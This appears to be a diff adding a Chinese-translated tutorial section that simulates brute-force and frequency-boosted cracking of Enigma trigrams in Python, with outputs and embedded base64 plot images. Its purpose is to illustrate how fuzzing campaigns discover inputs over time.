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
+)
+
+```py
+# Statistics for most and least often observed trigrams
+singletons = len([v for k, v in observed.items() if int(v) == 1])
+total = len(frequencies)
+
+print("%3d of %3d trigrams (%.3f%%) have been observed   1 time (i.e., are singleton trigrams)."
+      % (singletons, total, singletons * 100 / total))
+
+print("%3d of %3d trigrams ( %.3f%%) have been observed %d times."
+      % (1, total, 1 / total, frequencies[0]))
+
+```
+
+```py
+792 of 1001 trigrams (79.121%) have been observed   1 time (i.e., are singleton trigrams).
+  1 of 1001 trigrams ( 0.001%) have been observed 130 times.
+
+```
+
+正如我们在图1（左）中看到的那样，大多数三连词的*仅被观察到一次。 换句话说，大多数观察到的三字母组合都是“稀有”单例。 在图2（右）中，我们可以看到发现正在全面展开。 轨迹似乎几乎是线性的。 但是，由于存在有限数量的三连词（26 ^ 3 = 17,576），三连词的发现将变慢并最终接近渐近线（三连词的总数）。*
+
+### 提高BletchleyPark 的性能
+
+人们经常观察到一些卦。 我们称这些“丰富的”三元组。
+
+```py
+print("Trigram : Frequency")
+for trigram in sorted(observed, key=observed.get, reverse=True):
+    if observed[trigram] > 10:
+        print(" %s : %d" % (trigram, observed[trigram]))
+
+```
+
+```py
+Trigram : Frequency
+    CHB : 130
+    ZYO : 74
+    ENU : 67
+    AEA : 51
+    ZKN : 38
+    USF : 36
+    VAQ : 34
+    TJZ : 24
+    SSW : 22
+    YJL : 21
+    MAX : 19
+    JTP : 16
+    NCD : 13
+    TNP : 13
+    ENL : 13
+    TJQ : 11
+    TYS : 11
+
+```
+
+我们先尝试*尝试丰富的三字母组*，以加快代码破解速度。
+
+首先，如果尝试次数最多，我们将找出Bledgley公园现有的暴力破解策略可以破解多少条消息。 我们还将跟踪一段时间内破解的消息数（`timeseries`）。
+
+```py
+class BletchleyPark(BletchleyPark):
+
+    def __init__(self, enigma):
+        super().__init__(enigma)
+        self.cur_attempts = 0
+        self.cur_observed = 0
+        self.observed = defaultdict(int)
+        self.timeseries = [None] * max_attempts * 2
+
+    def break_message(self, message):
+        """Returns the trigram for an encoded message, and
+ track #trigrams observed as #attempts increases."""
+        self.enigma.cur_msg = message
+        while True:
+            self.cur_attempts += 1                                 # NEW
+            (trigram, outcome) = self.enigma_fuzzer.run(self.enigma)
+            self.timeseries[self.cur_attempts] = self.cur_observed # NEW
+            if outcome == self.enigma.PASS: 
+                break
+        return trigram
+
+    def break_max_attempts(self, max_attempts):
+        """Returns #messages successfully cracked after a given #attempts."""
+        cur_msg  = 0
+        n_messages = 0
+
+        while True:
+            trigram = self.break_message(cur_msg)
+
+            # stop when reaching max_attempts
+            if self.cur_attempts >= max_attempts:
+                break
+
+            # update observed trigrams
+            n_messages += 1
+            self.observed[trigram] += 1
+            if (self.observed[trigram] == 1):
+                self.cur_observed += 1
+                self.timeseries[self.cur_attempts] = self.cur_observed
+            cur_msg += 1
+        return n_messages
+
+```
+
+`original`是在给定100k次尝试后通过暴力破解策略破解的消息数。 我们可以打败吗？
+
+```py
+max_attempts = 100000
+
+```
+
+```py
+bletchley = BletchleyPark(enigma)
+original = bletchley.break_max_attempts(max_attempts)
+original
+
+```
+
+```py
+6
+
+```
+
+现在，我们将通过首先尝试我们以前最常观察到的三字母组来创建一个提升策略。
+
+```py
+class BoostedBletchleyPark(BletchleyPark):
+
+    def break_message(self, message):
+        """Returns the trigram for an encoded message, and
+ track #trigrams observed as #attempts increases."""
+        self.enigma.cur_msg = message
+
+        # boost cracking by trying observed trigrams first
+        for trigram in sorted(self.prior, key=self.prior.get, reverse=True):
+            self.cur_attempts += 1
+            (_, outcome) = self.enigma.run(trigram)
+            self.timeseries[self.cur_attempts] = self.cur_observed
+            if outcome == self.enigma.PASS:
+                return trigram
+
+        # else fall back to normal cracking
+        return super().break_message(message)
+
+```
+
+`boosted`是增强策略破解的消息数。
+
+```py
+boostedBletchley = BoostedBletchleyPark(enigma)
+boostedBletchley.prior = observed
+boosted = boostedBletchley.break_max_attempts(max_attempts)
+boosted
+
+```
+
+```py
+21
+
+```
+
+我们看到增强技术可以破解更多的消息。 值得记录一下每个字母组合被用作关键字的频率，并按其出现的顺序进行尝试。
+
+***试试*** 。 *出于实际原因，我们使用大量先前的观察作为先前的观察`boostedBletchley.prior = observed`。 您可以尝试更改代码，以使该策略使用在广告系列本身期间观察到的**的Trigram频率（`self.observed`）来增强广告系列。 您需要增加`max_attempts`并等待一会儿。***
+
+让我们比较一下随时间推移发现的三字组的数量。
+
+```py
+# print plots
+line_old, = plt.plot(bletchley.timeseries, label="Bruteforce Strategy")
+line_new, = plt.plot(boostedBletchley.timeseries, label="Boosted Strategy")
+plt.legend(handles=[line_old, line_new])
+plt.xlabel('# of cracking attempts')
+plt.ylabel('# of trigrams discovered')
+plt.title('Trigram Discovery Over Time');
+
+```
+
+![](data:image/png;base64,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668zZcqUSuPPXp5kXO7zkkwdW7RoEaWlpey+++7bLWvXrh0rV65kzZo1bN68mccff7x8WfPmzVm/fj0ABxxwAKtWrSpPMlu2bOG9997b7v0GDBjA9OnT2bhxI1999RXTpk3jiCOO2G69/v3785///IePPvoIiKqxAIYNG8af//zn8mSV6Iv9zTffZPny5UDU/vHOO++wzz77AFBQUMCWLVsSfg7r1q2jadOmtGjRgs8//5ynnnoq4bEeeuihvPLKK3zwwQcAbNy4kffff59u3bqxdOlSli1bBkQdEOKdc845jBo1ih/84AeVdqjISl6ScXmkXpVkMiXWAA7RL/N77rkn4RdfQUEBV111FYcccgidO3emW7du5ctGjx7NeeedR5MmTZg1axYPPfQQF198MWvXrmXr1q2MHTuWHj22LakVFRUxevRo+vXrB0RfvL179y7/Yo5p06YNEydO5KSTTqKsrIy2bdvy7LPP8utf/5qxY8dy8MEHY2Z06tRpm8QHsHLlSn7yk5+wefNmIKr+u+iiiwAYM2YMBx98MEVFRfz2t7/dZrtevXrRu3dvevToQZcuXTjssMPKl40ZM4ZjjjmG9u3b88ILLzB58mRGjhxZvo/rrruO/fffn9tuu42jjz6a1q1blx9jzPHHH89ZZ52Ve1VlAMRKoJ5kXO6rVw3/Lr9s2LCBZs2aYWZceOGFdO3alUsuuQSAOXPmcMkll5S3QVWU1X8Xq96Hv/SFk++Cg76f6WhcnvOGf+eS+Nvf/kZhYSE9evRg7dq1nHvuuQDccMMNnHzyyVx//fUZjrCm8ueHn3NeXeZy1iWXXFJecol32WWXcdlll2UgolribTIuj3hJxrms420yLn94knEu23hJxuWRtFWXSZoEDAdWmlnPMG8qELvoYjfgSzMrTLDtMmA9UApsTWejlHPZx0syLn+ks01mMjAB+Htshpn9MDYt6Y/A2kq2H2RmOTTglHO1xEsyLo+krbrMzGYCXyRapujy8h8A9ydanm8aNmxIYWEhvXr1oqioiFdffbVW3/93v/tdtbeZPHly+fUs8T7//HOGDx9Or1696N69O8ceeywQjT123333VXs/X375Jbfddlu1t6vfvCTj8kem2mSOAD43syVJlhswQ9JcSWMqeyNJYyTNkTQnNlRLtomNXfb2229z/fXXc/nll9fq+9ckySRz1VVXMWTIEN5++20WLFjADTfcAFSeZLZu3Zr0/TzJ1ICXZFweyVSSGUnlpZjDzKwIOAa4UNKAZCua2UQzKzaz4jZt2tR2nLUufqh/M+PSSy+lZ8+eHHTQQeVDoySbv2LFCgYMGEBhYSE9e/bkpZde2m5IfYB7772Xfv36UVhYyLnnnktpaSkAd999N/vvvz9HHnkkr7zySsL4VqxYQYcOHcpfH3zwwUDULfill16isLCQm2++mcmTJ3PKKadw3HHHMXToUDZs2MDgwYMpKirioIMOKr8twGWXXcaHH35IYWEhl156KQA33ngjffv25eCDDy4f4h/g2muvpVu3bgwZMoSRI0cyfvx4PvzwQ4qKisrXWbJkCX369NnxE5HVvCTj8kedXycjqRFwEpD0m8LMlofnlZKmAf2AmTu886cug/++u8Nvs409DoJjbqh0lVgSiB/qH+CRRx4pL+GsXr2avn37MmDAAF599dWE8++77z6GDRvGlVdeSWlpKRs3buSII45gwoQJ5TdFW7hwIVOnTuWVV16hoKCACy64gClTpjBkyBCuvvpq5s6dS4sWLRg0aFD5kPzxLrzwQn74wx8yYcIEjjrqKM466yz23HNPbrjhBsaPH18+rMzkyZOZNWsW77zzDq1atWLr1q1MmzaNXXfdldWrV3PooYdy/PHHc8MNNzB//vzy+GbMmMGSJUt44403MDOOP/54Zs6cyS677MLDDz/MW2+9xdatWykqKqJPnz7su+++tGjRgnnz5lFYWMjdd9/N6NGja/EEZiEvybg8komLMY8CFpnZ9mPTA5KaAg3MbH2YHgr8pi4DrG3xd8acNWsWZ5xxBvPnz+fll19m5MiRNGzYkHbt2nHkkUcye/bspPP79u3L2WefzZYtWzjhhBPKx0OL99xzzzF37lz69u0LRAmubdu2vP766wwcOJBYae+HP/wh77///nbbDxs2jKVLl/L000/z1FNP0bt37/L721Q0ZMiQ8tsCmBlXXHEFM2fOpEGDBnz22Wd8/vnn220zY8YMZsyYUZ7gNmzYwJIlS1i/fj0jRoygSZMmABx33HHl25xzzjncfffd3HTTTUydOpU33ngj5c8+N3lJxuWPdHZhvh8YCLSWVAJcbWZ3AadSoapM0p7AnWZ2LNAOmBaGnm8E3GdmT9dKUFWUOOpC/FD/ycaNSzZ/wIABzJw5kyeeeIIf/ehHXHrppZxxxhnbbXvmmWduN6TK9OnTEw7nn0irVq047bTTOO200xg+fDgzZ85MOGp0/ND9U6ZMYdWqVcydO5eCggI6deqUdOj+yy+/vHwImJibb745aTwnn3wy11xzDd/97nfp06dPwljyipdkXB5JZ++ykWbW3swKzKxDSDCY2Wgzu73CustDgsHMlppZr/DoYWa/TfT+uSp+qP8BAwYwdepUSktLWbVqFTNnzqRfv35J53/88ce0bduWn/zkJ/z4xz/mzTffBLYdUn/w4ME89NBDrFy5EoiG7f/444855JBDePHFF1mzZg1btmzhwQcfTBjf888/z8aNGwFYv349H374IR07dtxm+P1E1q5dS9u2bSkoKOCFF17g448/Bthuu2HDhjFp0qTyO2Z+9tlnrFy5ksMPP5zHHnuMTZs2sWHDBp544onybRo3bsywYcM4//zzc3RU5erykozLHz52WR1INtT/iSeeyKxZs+jVqxeS+MMf/sAee+yRdP4999zDjTfeSEFBAc2aNSu/+2P8kPpTpkzhuuuuY+jQoZSVlVFQUMBf/vIXDj30UMaNG0f//v1p3749RUVF5R0C4s2dO5eLLrqo/AZq55xzDn379mXLli00atSIXr16MXr06PLOCzGnn346xx13HMXFxRQWFpbfpmD33XfnsMMOo2fPnhxzzDHceOONLFy4kP79+wPRLZrvvfde+vbty/HHH0+vXr3YZ599KC4upkWLFtu8/yOPPMLQoUPTco6ySnmO8STjcp8P9e+yRmzo/o0bNzJgwAAmTpxY3rNs/PjxrF27lmuvvbZW9pXVfxclc+DOwXDag7B/PUiqLqPSPdS/l2Rc1hgzZgwLFixg06ZNnHnmmeUJ5sQTT+TDDz8s75WX97xNxuURTzIuay